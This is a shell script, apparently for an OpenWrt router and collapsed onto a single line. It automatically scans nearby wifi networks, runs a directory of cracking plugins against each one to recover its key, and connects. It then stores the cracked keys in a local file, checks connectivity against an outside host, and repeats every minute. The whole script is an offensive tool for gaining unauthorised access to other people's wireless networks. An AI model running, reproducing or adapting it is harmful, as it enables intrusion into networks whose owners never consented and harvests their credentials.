#!/bin/sh -x wifi=wlan0 iface=@wifi-iface[0] radio=$(uci get wireless.${iface}.device) connect_wifi(){ # channel ssid encryption key uci set wireless.${iface}.mode=sta ifconfig $wifi up uci set wireless.${radio}.channel=$1 uci set "wireless.${iface}.ssid=$2" if [ $3 == "none" ] ; then uci set wireless.${iface}.encryption=none uci -q delete wireless.${iface}.key else uci set "wireless.${iface}.key=$4" uci set wireless.${iface}.encryption=$3 fi uci commit wireless wifi up } print_iwlist_env(){ # takes environment: # count # MAC # CHANNEL # QUALITY # ENCRYPTION # ESSID # WPA # WPA2 for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do eval echo ${i}_${count}=\$${i} done } iwlist_scan(){ ifconfig $wifi up count=0 iwlist scan ${1:-} 2>/dev/null | ( while read line; do case "$line" in *"Cell "*) [ $count -eq 0 ] || print_iwlist_env WPA=0 WPA2=0 : $((count+=1)) MAC="${line#*Address: }" ;; *Channel:*) CHANNEL="${line#*:}" ;; *Quality=*) QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`" ;; *"Encryption key:"*) ENCRYPTION="${line#*key:}" ;; *ESSID:*) ESSID="${line#*ESSID:}" ;; *"IE: IEEE 802.11i/WPA2"*) WPA2=1 ;; *"IE: WPA Version 1"*) WPA=1 ;; *);; esac done; print_iwlist_env ;echo WIFI_COUNT=$count) } crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 if [ "$4" == off ];then encr=open elif [ "$6" -eq 1 ]; then encr=psk2 elif [ "$5" -eq 1 ]; then encr=psk elif [ "$4" == on ]; then encr=wep fi for hack in $(find /usr/lib/autowifi/ -type f); do key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then connect_wifi "$3" "$1" $encr "$key" sleep 5 if check_gateway; then (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2 mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys echo "yay gateway" check_internet && return 0 fi fi done return 1 } check_gateway(){ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') } check_internet(){ secret=$(wget -O- http://euer.krebsco.de/secret) if [ "$secret" == "1337" ]; then return 0 else return 1 fi } loop_over_networks(){ . /tmp/${wifi}.scan for i in `seq 1 $WIFI_COUNT`; do eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue eval crack_wifi "\${ESSID_${i}}" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break done } iwlist_scan > /tmp/${wifi}.scan loop_over_networks while sleep 60; do if ! check_internet; then iwlist_scan > /tmp/${wifi}.scan loop_over_networks fi done